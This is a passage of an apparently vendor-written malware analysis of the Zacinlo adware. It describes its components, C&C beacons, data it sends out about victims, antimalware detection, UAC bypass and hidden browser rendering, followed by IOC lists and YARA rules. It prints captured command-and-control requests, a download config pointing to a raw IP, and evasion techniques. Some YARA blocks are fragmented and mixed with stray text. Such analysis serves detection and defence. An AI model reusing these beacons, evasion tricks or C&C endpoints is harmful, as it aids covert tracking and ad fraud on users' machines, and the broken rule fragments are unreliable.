
- **/i** – register the component as service with the name "**Dataup Service**" and description as "**Detect version consistency of client and server, and get the latest version from the server.**"
- **/u** – remove its service

It makes two requests. The first one is to the “[www.cdnoptim.com](http://www.cdnoptim.com)” C&C with the collected client and system information and - depending on the component’s file version - the data can be encrypted or not.

For example:

a)

```
GET /databack.php?
d0e7a9c3e3fc25597afdf95eb90618ba6f71b30470a48539bceea9747a2c1400c34f992f22ed532697af2c5714666cac591c9d6489505e39d4579173431f3fd38973cbfed4af2f0
HTTP/1.1
Accept: /*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.cdnoptim.com
Connection: Keep-Alive
```

Versions **1.2.0.2** and **1.3.0.3** encrypts the query string:

<b>Decrypted request:</b>
<b>pn=GIGEL-PC&amp;s=7200&amp;x=0.8005792&amp;guid=0B15001C-5DAF-4E45-9DEE-45EC7A75074C</b>

Where:

- **pn** – pc name
- **s** – the “**TEXT1**” value data readed from **dataup.ini** file
- **x** – timestamp
- **guid** – retrieved by calling *HelpGuid*

b)

```
GET /databack.php?pn=GIGEL-PC&s=7200&x=0.939541 HTTP/1.1
Accept: /*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.jeegtube.com
Connection: Keep-Alive
```

Version 1.02.0002 sends unencrypted query string:

The second request depends on the component’s file version:

- Versions **1.2.0.2** and **1.3.0.3** makes requests to “[www.58hex.com](http://www.58hex.com)” C&C:

```
GET /databack.php?
d0e7a9c3e3fc25597afdf95eb90618ba6f71b30470a48539bceea9747a2c1400c34f992f22ed532697af2c5714666cac591c9d6489505e39d4579173431f3fd38973cbfed4af2f0
HTTP/1.1
Accept: /*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.58hex.com
Connection: Keep-Alive
```

- Version **1.02.0002** sends requests to “[www.jeegtube.com](http://www.jeegtube.com)” C&C:

```
GET /database.php?f1=OK&x=0.206596 HTTP/1.1
Accept: /*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: www.jeegtube.com
Connection: Keep-Alive
```

By the time of analyzing this component, the C&Cs had already been taken offline, so further analysis becomes impossible at this stage, given the circumstances. Furthermore, it seems that the newer version of this adware removed this behavior.

## Regtool

The component corresponds to **regtool.exe** file.

Its purpose is to set the given components as command line in auto-run registry. It receives a list of “**-key=**” and “**-arg=**” as command line arguments. The *key* argument is the component’s name and the *arg* is the component’s executable argument. It is used by the script2 Lua script in order to install svcmx and cpx components as auto-run executables. To build the component’s path on of the paths will be used: “**%localappdata%\key\key.exe**”, “**%programfiles%\key\key.exe**” or “**%programfiles(x86)%\key\key.exe**” in case of a 64bit operating system. The “*key*” is the “**-key=**” value argument. This path will be used as data for the auto-run registry value. Depending on the victim’s user permissions, the components will be installed as auto-run in “**HKLM\Software\Microsoft\Windows\CurrentVersion\Run**” if the component is running with administrative permissions, otherwise they will be installed in “**HKCU\Software\Microsoft\Windows\CurrentVersion\Run**”.

## UAC Bypass

The component corresponds to **bypass.exe** file.

The file contains code from the Metasploit kit to obtain elevated rights. The code is taken from [the Metasploit Project’s Github page](#)

## Earlier Payload

The component corresponds to the **c1.exe** file.

This component is an earlier version of the **Master – Slave (svcmx-vmxclient)** combo and is likewise used for silently rendering webpages in the background and interacting with them.

Instead of interacting with webpages from a Lua script, it achieves this by calling a set of handlers based on an XML file specified by the C&C server. Page rendering is achieved by creating an Internet Explorer ActiveX object inside a hidden window. Furthermore, it can terminate processes and services at the request of the attacker.

Its configuration is embedded in a resource named "ZIP". It is encrypted with a simple xor operation and after decryption, it reveals the following JSON (or at least what we received during the investigation):

```
{
    "domain" : "http://tracking.downloadyee.com",
    "taskinfo": "/entry/svc/task_info_bin2?",
    "taskinfoparams" : "mac=%s&os=%s&svcver=%s&ver=%d",
    "crc": "&crc=%s",
    "feedbackurl" : "/entry/svc/fb?",
    "feedbackparams" : "state=ok&id=%s&mac=%s&cc=%d",
    "cookieurl": "http://www.gamecool.info",
    "processnames" : ["explorer.exe", "conhost.exe", "taskmgr.exe", "cmd.exe"]
}
```

This configures the malware to contact the C&C server from *domain* with parameters from **taskinfoparams**. An example of such a query is ***hxxp://tracking.downloadyee.com/entry/svc/task\_info\_bin2?mac=8D0B9B3EC99A91BDDFE8F67A27CF3447&os=x86/1/Win7/32&svcver=7&z=-120&first=0&latest=0&ver=2&crc=11971***,

where **mac** represents an MD5 derived from the adapter and storage information of the computer and is used as a unique ID, **os** is the operating system version, and the rest of the query is related to the malware version. The **crc** parameter represents the computed CRC value on the rest of the query.

The executable has three possible modes of operation based on command line arguments:


If it is started with **start2** as a command line argument, it checks all other arguments against the names of local running processes and terminates any found matches. It then proceeds to terminate processes with base path in the same directory as the malware and names from **processnames** configuration. It creates an identical copy of itself in the same directory it is located in for every name in **processnames**. It then attempts to stop two services named **kadefenader** and **wkadefenader** if they are running and delete their files.

If started with **start** as a command line argument, it creates a new child process with **start2** as an argument instead of **start**; the rest of the arguments are left unchanged. This is the preferred way of starting the malware and it acts as a main process that spawns multiple webpage rendering subprocesses based on the data received from the C&C server.

The final mode of operation is **slave**. It has to be started with **-slave** as a command line argument. This mode requires another 5 arguments to work as intended. These arguments are listed in the intended order: a webpage to visit, an action selector, an integer value that represents the time in milliseconds to stay on the webpage, a flag and the number of times to visit the webpage. After the required number of milliseconds have elapsed, it spawns a new process with 10 seconds added to the visiting time and 1 subtracted from the number of times to visit.

It hides itself from the unsuspecting user by using the **ShowWindow** function from the Windows API to visually hide its window and muting the sound of the embedded browser by patching in memory the **DirectSoundCreate** function from **DSound.dll** and **waveOutWrite** from **winmm.dll**.

Since this is an older version, the C&C server is not functional at the time of writing this paper.



Browser window made visible.

## [Homepage](#)

The component corresponds to **homepageoptimizer.exe** file.

This component has a GUI and reads a string (webpage). It will send a HTTP GET request to **hxhp://www.esttrk.com/api/** with an encrypted string containing a computer ID, and the entered url. An example string:

```
{"cid":"C218E1D3C9445A785447C4E9008C7191","ver":"1.0.1.1","url":"url.abc"}
```

The response should contain a file, but we were unable to validate this as the C&C server was already offline during the analysis.. The entered URL will be stored in Registry in **HKLM\System\CurrentControlSet\Control\Network\homepage**

This component comes with an uninstaller.

## [Report](#)

The component corresponds to the **report.exe** file.

This component is started by another component with the **install** parameter. The purpose of this component is to report information about the victim back to the C&C.

Two requests are created by this component. For both request it uses "**Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36**" as user agent. Unfortunately the C&C is down.

The first request is sent to **hxhp://www.ttfib.com/report?s=%d&re=%d**. The parameters of the query string are:

- **s** - "1" if the operating system's architecture is 64bit, otherwise the value is "0"
- **re** - "1" if an antimalware process is found, "0" otherwise

mbam.exe	mbamservice.exe	mtray.exe
Avira.Systray.exe	Avira.ServiceHost.exe	

```
GET /report?s=0&re=1 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Host: www.ttfblb.com
```

The second request is sent to `hxxp://www.ttfblb.com/report?s=%d&qu=%d&t=%d&c=%d`. The parameters from the query string are:

- **s** - “1” if the operating system’s architecture is 64bit, otherwise the value is “0”
- **qu** - “1” if `ndistpr64.sys` is running, “0” otherwise
- **t** - process id of `tprdpw64.exe`, if the process is not running then the value of this field is “0”
- **c** - process id of `ct.exe`, if the process is not running then the value of this field is “0”

```
GET /report?s=0&cu=0&t=0&c=0 HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Host: www.ttfblb.com
```

Some versions of this component have an additional “v” parameter, for both requests, which represents the version of the binary.

## Component Updater

The component corresponds to the `splsrv.exe` file.

This component receives 3 parameters:

- **interval** – update interval
- **version** – application version
- **ip** – IP of C&C

It is started by an old Lua script used by an old ct2 component. One of these samples starts this component with the following parameters:

```
"-ip="173.192.16.184" -interval=3600 -version="2.0.18.1"
```

After execution, it creates a mutex called `Global\splsrv`. A request is made to retrieve a JSON list of antimalware process names and their product names. This list will be used later to inform the C&C about the running antimalware processes on the victim’s computer.



```
GET /interface/queryAvs HTTP/1.1
Host: 173.192.16.184
Accept: */*

HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Tue, 17 Apr 2018 10:04:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4

871cf2988acc0c0dde0e0e3bddfaab447278169ae537813dd138988d14c27e96cc0a4cb5966183c7017b1baa1eda0d4d23942338d272ec16e97d65309fd89d16a258ed
57c351878e86b5d9fe43be502efb35059ce2531f24213551c841f352b1b1e9f4f805d8e8ae8e826d434cd6bfabc0414f4127b71267310d3828e371b6c02eb47bd069
d86bee25fa743e8d0af28379dc9e13e6c0b3a63fc4bf7f2f9dd0bc12ab2d0208f4ffd3930196873a3d46adb907299710e50283b77fa00a131403b28c25e8e3762bf4ef
b4541h-hsaar00ah781578017f246fc5sh87801a0afdf77a18f8513d1d7a5615e6rr3878ah1fch08r-2d7cf4f77aer-18fh120d066a038666507fe=0478r66f1r

Decrypted response:
{"CisTray":"COMODO Internet Security","bulldoguard":"BullGuard","bdefender":"BitDefender","ccntmon":"Trend Micro Internet Security","3
60tray":"","PSUAService":"Panda Commandline","augvse":"AUG Free","Fsgk32":"P-Secure Internet Security","asseces":"MS Security Esse
entials","FortiClientVirusCleaner":"FortiClient","gdscan":"G Data","OPSSUC":"Quick Heal Antivirus","auguard":"AntiVir (Avira)","ekpn
":"ESET NOD32","nanooav":"NANO Antivirus","spideragent":"Dr.Web","FPnUServer":"P-PROT Antivirus","nanosvc":"NANO Antivirus","vba32ldr
":"UBA32 Antivirus","iptray":"Clan Antivirus","a2start":"A-Squared","guardxservice_x64":"IKARUS Security","equi":"ESET NOD32","Norm
an_Malware_Cleaner":"Norman","AdAwareDesktop":"Ad-Aware","K7ISecurity":"K7 Ultimate","twister":"Twister Antivirus","SUPERAntispywar
e":"SUPERAntiSpyware","Sophos UI":"Sophos","avastsvc":"Avast","guardxservice":"IKARUS Security","sfc":"Clan Antivirus","cis":"COMOD
O Internet Security","DRService":"Sophos","avup":"Kaspersky Antivirus","SASCORE":"SUPERAntiSpyware","twssrv":"Twister Antivirus","P
SUAMain":"Panda CommandLine","shantray":"UIPRE","K7SUSMon":"K7 Ultimate","augvse":"AUG Free","FProtTray":"P-PROT Antivirus","a2ser
vice":"A-Squared","AdAwareService":"Ad-Aware","SntpService":"Sophos","meshield":"McFee","guardkickoff":"IKARUS Security","dwarkda
emon":"Dr.Web","QUHPLSUC":"Quick Heal Antivirus","K7ISMain":"K7 Ultimate","dwengine":"Dr.Web","avguix":"AUG Free","navapsvc":"Norto
n Antivirus","AdAwareTray":"Ad-Aware"}
```

A new thread is created which is responsible for downloading and updating the components and continuously reporting to the C&C.

The first request made in the new thread is used to inform the C&C panel that this component is running and is checking for new updates.

```
GET /api/cpx?
q=06E6A76D67856B671C908B0408688DFDBD07B450FE983F2894B90BF5D38E2E4E3CCFD526DD4C746F32A565368DD139E38A5ED7A8EB7C869367D8117F3C41DEC4C06E2
57B048AE7BFFCA90DAE1B3C7266325E16144D0654C07A5323086A268C88418A7041B414F81B760D2F4FA45D8FDEA77887A798C83366C1AB323A365849079B001A908049
C3EC709D0422C633A0238D1DF2F14750F42C987754CA3D494E1967A4957F145AA7DAC77D09C9B648C809025477DA1902F194FCDA39A60FA161199A8B1F32155C1FBC584E1
120440111F62C1EA618248F9DFD337D8260B27D87056889A9890C6FAEE126E7A6321E33978FA540373ED0D427001807951C54A267CDCF899E2F0023385395159884C2D6B
2C8731E54B6400AA89ECFFEEA75B8E6ECACCF6363588AF7 HTTP/1.1
Host: gpt9.com
Accept: */*

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Tue, 17 Apr 2018 10:04:45 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.4.16
Z_IP: 109.103.135.190

ok
```

```
Decrypted request:
guid=E23A3BE0-5750-4215-A280-DB774CD41113&tine=1523959730&utc=2&mac=080027756e6e&os=Microsoft Windows 7, 32bit&cpu=Intel(R) Core(TM)
i7-4790 CPU @ 3.60GHz, 3592, x86 Family 6 Model 60 Stepping 3, GenuineIntel&memory=2047&language=en&country=US&screen=1920*1095&b
it=32&version=2.0.18.1&type=2
```

The second request downloads a JSON string that contains information about the components needed to be downloaded.

```
792f00d23c909e3e7719GET /report?
006E6A76D67856B671C908B0408688DFDBD07B450FE983F2894B90BF5D38E2E4E3CCFD526DD4C746F32A565368DD139E38A5ED7A8EB7C869367D8117F3C41DEC4C06E257B04
8AE7BFFCA90DAE1B3C7266325E16144D0654C07A5323086A268C88418A7041B414F81B760D2F4FA45D8FDEA77887A798C83366C1AB323A365849079B001A908049C3EC709
D422C633A0238D1DF2F14750F42C987754CA3D494E1967A4957F145AA7DAC77D09C9B648C809025477DA1902F194FCDA39A60FA161199A8B1F32155C1FBC584E1120440111F6
2C18AE618248F9DFD337D8260B27D87056889A9890C6FAEE126E7A6321E33978FA540373ED0D427001807951C54A267CDCF899E2F0023385395159884C2D6B2C8731E54B6400
AA89ECFFEEA75B8E6ECACCF6363588AF7 HTTP/1.1
Host: 173.192.16.184
Accept: */*

HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Tue, 17 Apr 2018 10:04:45 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4

fbfb768c9c7a7fff3c327e58dicab6591b2a0ba8e2680511e0d3867d310a678a6afe520cf09c342ef9276992df23e738f3c515f729a5c1858985bdac0564633fc65af9c9703a
d411dbef721e73afcfcf69bc2ea814c0fea5c2b58835453dba6f409301f8c0230fe5c6c64ba290783ff624f72734e163d415586cd427723a046f0a34d5d2cd8ced8f74168d49
983ec4589132e637ea3f41b7181de885fc32561226729642e919f298e54d56f072393bb5fec070519d0c6c8d
```

```
Decrypted request:
guid=E23A3BE8-5750-4215-A280-DB774CD41113&time=1523959730&utc=2&mac=080027756e6e&os=Microsoft Windows 7, 32bit&cpu=Intel(R) Core(TM)
i7-4790 CPU @ 3.60GHz, 3592, x86 Family 6 Model 60 Stepping 3, GenuineIntel&memory=2047&language=en&country=US&screen=1920*1095&b
it=32&version=2.0.18.1&type=2

Decrypted response:
[{"parameters":{"-startup":true,"always_run":true,"version":"1.0.1.8","password":"a123456","app":"app153","service":"","name":"svcumx","ur
l":"http://\u2228174.37.56.249\u2228p2\svcumx.zip"}]
```

The third request is used to report back to C&C the running antimalware processes, as well as the name of the adware component needed to be downloaded or updated. This request is made for every component in the JSON array object.

```
8dGET /interface/queryDetects?B6FB118771F4C3E7994D8D24F2F31D83B65518C4CC0E745A9BB0AC44EDF82676 HTTP/1.1
Host: 173.192.16.184
Accept: */*

HTTP/1.1 200 OK
Server: openresty/1.9.7.3
Date: Wed, 25 Apr 2018 07:54:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Power-By: Vanilla-0.1.0-rc4

941e869c6569fb23
```

```
Decrypted request:
avu=bdagent&files=svcumx.zip

Decrypted response:
PASS
```

If the response of the third request is not “PASS” then the file will not be downloaded or updated, otherwise the adware component will be downloaded or updated.

## Appendix 1: IOCS

### Domains

- mrsdaibeilei@gmail.com
  - ssl-zert.mobi
  - tools.zpz.name
  - jeegtube.com
  - yimgcdn.com
  - jeegtube.com
  - opttracker.com
  - userbest.com
  - opt2tracker.com
  - cashext.com
  - gpt9.com
  - liuliangshu.com
  - srvtracker.com
  - ttrwb.com
  - 58hex.com
  - egreader.com
  - enhanced2trk.com
  - cdnoptim.com
  - nptcdn.com
- meilihansd@gmail.com
  - rocketadv.com
  - sisilist.com
  - optimeze.com
  - digximg.com
  - essads.com
  - linkedcdn.com
  - domedex.com

- [familyrocker.com](http://familyrocker.com)
- [fibuinfo.com](http://fibuinfo.com)
- [enhancedassistant.com](http://enhancedassistant.com)
- [digxtube.com](http://digxtube.com)
- [enhancedstats.com](http://enhancedstats.com)
- [myvideogamez.com](http://myvideogamez.com)
- [eereader.com](http://eereader.com)
- [esstrk.com](http://esstrk.com)
- [answerscdn.com](http://answerscdn.com)
- [optimezer.com](http://optimezer.com)
- [webhostingreviewboards.net](http://webhostingreviewboards.net)
- [rockettrk2.com](http://rockettrk2.com)
- [qwee3.com](http://qwee3.com)
- [gpt7.com](http://gpt7.com)
- [gpt5.com](http://gpt5.com)
- [eyemedias.com](http://eyemedias.com)
- [sharps5.com](http://sharps5.com)
- [sharpproxy.com](http://sharpproxy.com)
- [enhancedtrk.com](http://enhancedtrk.com)
- [estrk.com](http://estrk.com)
- [choicesone.com](http://choicesone.com)
- [iireader.com](http://iireader.com)
- [lifetipsabc.com](http://lifetipsabc.com)
- [doubleimps.com](http://doubleimps.com)
- [feisearch.com](http://feisearch.com)
- [trafficsyn.com](http://trafficsyn.com)
- [rocketadt.com](http://rocketadt.com)
- [rocketadx.com](http://rocketadx.com)

[zacinlo](#)

- Registry paths:
  - HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService\svcvmx\_time
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\atimode
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set\_bl
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode2
- User agents used:
  - wget
  - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
- Network activity:
  - cdn.opticc.com
  - optitm.com
  - userbest.com:8080/report/lp
  - yimgcdn.com:8080/rep001/l
- Mutex:
  - Global\SetupMutex\_{ABE47B72-0C2F-421F-BFE5-D86F8ABD3570}
- File paths:
  - Folder name generated from a templated prefix

## LUA Interpreter

- Service:
  - Windowsmanagementservice
- User agent:
  - SmartService
  - wget
- Network activity:
  - 173.192.28.166
  - opttracker.com

## Setup Downloader

- Service:
  - Windowsmanagementservice
- User agent:
  - BypassUac
- Network activity:
  - gpt9.com
  - 174.37.56.248
- Registry paths:
  - HKLM\SOFTWARE\Microsoft\Network\FileService\Liveup
- File paths:
  - A generated directory name after format „YearMonthDay“ in „%temp%“ which contains „ct.zip“

## Dataup

- Registry paths:
  - HKLM\Software\Microsoft\Network\FileService\Liveup
- Service:
  - Dataup Service
- Network Activity:
  - cdnoptim.com
  - 58hex.com
  - jeegtube.com
- User agent:
  - Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
- Files:
  - Help\_dll.dll
  - NTSVC.ocx

## Rootkit

- Device name: \\.\DrvProtect
- Registry paths:
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\PowerMode2
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\atimode
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set\_st
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set\_bt
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set\_pt

## Setup dropper

- Registry paths:
  - HKLM\SYSTEM\CurrentControlSet\Network\set\_pt
  - HKLM\SYSTEM\CurrentControlSet\Network\atimode

## LUA Script 2

- Network activity:
  - gpt9.com
  - 198.8.61.161
  - 173.192.16.184

## LUA Script 1

- Network activity:
  - 173.192.28.166
  - 173.192.16.184



## Payload Master

- Mutex: Global\SetupMutex\_WinMain\_07676023\_12CC\_451E\_A37B\_ADB00A945B14
- Registry paths:
  - HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService\Liveup
  - HKLM\SOFTWARE\Wow6432Node\Microsoft\Network\FileService\install\_time
  - HKLM\Software\Microsoft\Windows\CurrentVersion\Run\srcvmx
  - HKLM\SYSTEM\CurrentControlSet\Control\Network\set\_pt
- Pipe: SVCVMX{72CE8DB0-6EB6-4C24-92E8-A07B77A229F8}
- File paths:
  - „%localappdata%\Microsoft\Windows Media\userdata2
- Network activity:
  - client-api.essads.com
- User agent used:
  - Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
- Desktop name: srcvmx\_desktop

## Payload Client

- Mutex: Global\SetupMutex\_ED6901A1-2E80-4FABAAD5-84638FC3F382}
- Pipe: SVCVMX{72CE8DB0-6EB6-4C24-92E8-A07B77A229F8}
- Network activity: plenty of network connections comming from this process

## Appendix 2: Tools for detection and decryption

Yara

```

import "pe"

rule c_exe
{
    strings:
        $c0 = "desktop.ini" wide
        $c1 = "download.dat" wide

        $d0 = "kadefenader" wide
        $d1 = "wkadecfenader" wide

    condition:
        all of ($c*) or 1 of ($d*)
}

rule zacinlo_exe
{
    strings:
        $c0 = "\\CHROME.EXE" fullword ascii
        $c1 = "\\FIREFOX.EXE" fullword ascii
        $c2 = "\\360CHROME.EXE" fullword ascii
        $c3 = "openssl" ascii

        $d0 = { 73 74 61 72 [1-6] 45 4B 75 70 }
        $d1 = { 6D 62 61 6D [1-6] 2E 65 78 65 [1-6] 7C 6D 62 61 [1-6] 6D 73 65 72 [1-6] 76 69 63 65
[1-6] 2E 65 78 65 [1-6] 7C 6D 62 61 [1-6] 6D 74 72 61 [1-6] 79 2E 65 78 [1-6] 65 7C 41 76 [1-6] 69
72 61 2E [1-6] 53 79 73 74 [1-6] 72 61 79 2E [1-6] 65 78 65 7C [1-6] 41 76 69 72 [1-6] 61 2E 53 65
[1-6] 72 76 69 63 [1-6] 65 48 6F 73 [1-6] 74 2E 65 78 [1-6] 65 00 00 00 }

        $e0 = "SeShutdownPrivilege" wide
        $e1 = "SeDebugPrivilege" wide
        $e2 = "TOSHIBA" wide

        $f0 = "tprdpw64" ascii
        $f1 = "tprdpw64" wide
        $f2 = "msidntld.exe" wide
        $f3 = "msidntld.exe" ascii
}

```

```

$g0 = "unzip" ascii
$g1 = "CryptoPP" ascii
$g2 = "TOSHIBA" wide
$g3 = "Bluetooth" wide

$h0 = "version" fullword ascii
$h1 = "parameters" fullword ascii
$h2 = "always_run" fullword ascii
$h3 = "service" fullword ascii
$h4 = "password" fullword ascii
$h5 = "install" fullword ascii
$h6 = "svc" fullword ascii
$h7 = "launch" fullword ascii
$h8 = "param" fullword ascii

$mutex = {C7 [2-6] 7B 00 41 00 C7 [2-6] 42 00 45 00 C7 [2-6] 34 00 37 00 C7 [2-6] 42 00 37
00 C7 [2-6] 32 00 2D 00 C7 [2-6] 30 00 43 00 C7 [2-6] 32 00 46 00 C7 [2-6] 2D 00 34 00 C7 [2-6] 32
00 31 00 C7 [2-6] 46 00 2D 00 C7 [2-6] 42 00 46 00 C7 [2-6] 45 00 35 00 C7 [2-6] 2D 00 44 00 C7 [2-
6] 38 00 36 00 C7 [2-6] 46 00 38 00 C7 [2-6] 41 00 42 00 C7 [2-6] 44 00 33 00 C7 [2-6] 35 00 37 00
C7 [2-6] 30 00 7D 00}

$mutex0 = {C7 [2-6] 68 74 74 70 C7 [2-6] 3A 2F 2F 67 C7 [2-6] 70 74 39 2E C7 [2-6] 63 6F 6D
2F C7 [2-6] 61 70 69 2F C7 [2-6] 71 7A 6B 7A}

$mutex1 = {C7 [2-6] 7B 00 41 00 C7 [2-6] 42 00 45 00 C7 [2-6] 34 00 37 00 C7 [2-6] 42 00 37
00 C7 [2-6] 32 00 2D 00 C7 [2-6] 30 00 43 00 C7 [2-6] 32 00 46 00 C7 [2-6] 2D 00 34 00 C7 [2-6] 32
00 31 00 C7 [2-6] 46 00 2D 00 C7 [2-6] 42 00 46 00 C7 [2-6] 35 00 2D 00 C7 [2-6] 44 00 38 00 C7 [2-
6] 36 00 46 00 C7 [2-6] 38 00 41 00 C7 [2-6] 42 00 44 00 C7 [2-6] 33 00 35 00 C7 [2-6] 37 00 30 00
C7 [2-6] 7D}

condition:
    all of ($c*) or (all of ($d*) and 1 of ($e*)) or (1 of ($f*) and all of ($g*)) or all of
($h*) or 1 of ($mutex*)
}

rule ct2_exe
{
    strings:
        $c0 = "script.lua" ascii
        $c1 = "script2.lua" ascii
    condition:
        1 of them
}

rule ct_exe

```

WhitePaper

```

strings:
$c0 = "to install the service" wide
$c1 = "to remove the service" wide

$d0 = "c:\\log.txt" ascii
$d1 = "script.lua" ascii
$d2 = "script2.lua" ascii
$d3 = "-version" ascii

condition:
(all of ($c*) or $d0) and #d1 == 0 and #d2 == 0 and #d3 == 0
}

rule ct_unknown_exe
{
strings:
$e0 = "install" fullword ascii
$e1 = "svc" fullword ascii
$e2 = "launch" nocase fullword ascii
$e3 = "param" fullword ascii

$f0 = "Liveup" fullword wide
$f1 = "Liveup" fullword ascii

condition:
(all of ($e*) and 1 of ($f*))
}

rule ct2_downloader
{
strings:
$c0 = "ct.exe" fullword ascii
$c1 = "ct.zip" fullword ascii

$d0 = "BINDATA" fullword wide
$d1 = "BypassUac" wide

condition:
1 of ($c*) and all of ($d*)
}

rule qdcomsvc_exe
{
}

```

```

White Paper $c0 = "360tray.exe" wide
             $c1 = "a2service.exe" wide
             $c2 = "ct=%d&dataup=%d&cpx=%d&svcvmx=%d&qd=%d&szpsrv=%d&splsrv=%d" ascii

             $d0 = "dataup.exe" wide
             $d1 = "cpx.exe" wide
             $d2 = "dct.exe" wide
             $d3 = "svcvmx.exe" wide
             $d4 = "splsrv.exe" wide
             $d5 = "szpsrv.exe" wide

condition:
    all of them and 1 of ($d*)
}

rule dataup_exe
{
strings:
    $c0 = "\\ds.vbp" wide
    $c1 = "databack.php" wide

condition:
    all of them
}

rule help_dll
{
strings:
    $c0 = "\\help_dll.pdb" ascii
    $c1 = "HelpDecrypt" fullword ascii
    $c2 = "HelpEncrypt" fullword ascii
    $c3 = "HelpGuid" fullword ascii

condition:
    all of them or (pe.exports("HelpDecrypt") and pe.exports("HelpEncrypt") or
    pe.exports("HelpGuid"))
}

rule NTSVC_ocx
{
strings:
    $c0 = "NT Service Control Module" wide
    $c1 = "Microsoft" wide
    $c2 = "DllCanUnloadNow" fullword ascii
}

```

```
$c3 = „DllGetClassObject“ fullword ascii
$c4 = „DllRegisterServer“ fullword ascii
$c5 = „DllUnregisterServer“ fullword ascii
$c6 = „SYSTEM\\CurrentControlSet\\Services\\EventLog\\Application\\“ ascii
$c7 = „StartService“ fullword ascii
$c8 = „EventMessageFile“ fullword ascii
$c9 = „LogEvent“ fullword ascii
$c10 = „CNetSvcCtrl::ServiceMain()“ fullword ascii

condition:
  8 of them

}

rule radardt
{
  strings:
    $a0 = „\\Registry\\MACHINE\\SYSTEM\\CurrentControlSet\\Control\\hivelist“ wide
    $a1 = „X:\\windows\\system32\\config\\HARDWARE“ wide
    $a2 = „\\Device\\DrvProtect“ fullword wide

    $b0 = „[ObProcessPreCall_CREATE]“ ascii
    $b1 = „[ObProcessPreCall_DUPLICATE]“ ascii
    $b2 = „[RegNtPreSetValueKey]“ ascii
    $b4 = „\\DATAUP“ fullword wide

    $c0 = „\\ASWSP.SYS“ ascii
    $c1 = „\\MBAM.SYS“ ascii
    $c2 = „\\REGTOOL.EXE“ ascii
    $c3 = „\\DATAUP.EXE“ ascii
    $c4 = „\\DRIVERS\\WDFILTER.SYS“ ascii
    $c5 = „UPDATEADMIN.EXE“ ascii
    $c6 = „\\SPYHUNTER4.EXE“ ascii

    $d1 = „.vmp1“ fullword ascii
    $d2 = „.vmp2“ fullword ascii
    $d3 = „IoRegisterBootDriverReinitialization“ ascii
    $d4 = „ZwOpenSymbolicLinkObject“ ascii
    $d5 = „FltRegisterFilter“ ascii

    $e0 = „set_st“ fullword wide
```

```

$e1 = "set_pt" fullword wide
$e2 = "atimode" fullword wide
$e3 = "PowerMode" fullword wide
$e4 = "PowerMode2" fullword wide

$f0 = "-starup" wide
$f1 = "\Device\DrvProtect" wide
$f2 = "\DATAUP.EXE" ascii
$f3 = "\CTX.EXE" ascii
$f4 = "\SVCVMX.EXE" ascii
$f5 = "\TPRDPW64.EXE" ascii
$f6 = "TASKMGR.EXE" ascii

condition:
  all of ($a*) or all of ($b*) or 4 of ($c*) or all of ($d*) or all of ($e*) or 5 of ($f*)
}

rule regtool_exe
{
  strings:
    $c0 = "bypassuac" ascii
    $c1 = "regtool.pdb" ascii
  condition:
    all of them
}

rule s5_exe
{
  meta:
    directory = "s5"
  strings:
    $c0 = {42 00 49 00 4E 00 44 00 41 00 54 00 41 00 50 4B}
    $c1 = "BINDATA" fullword wide
    $c2 = {4B 50 01 D3}
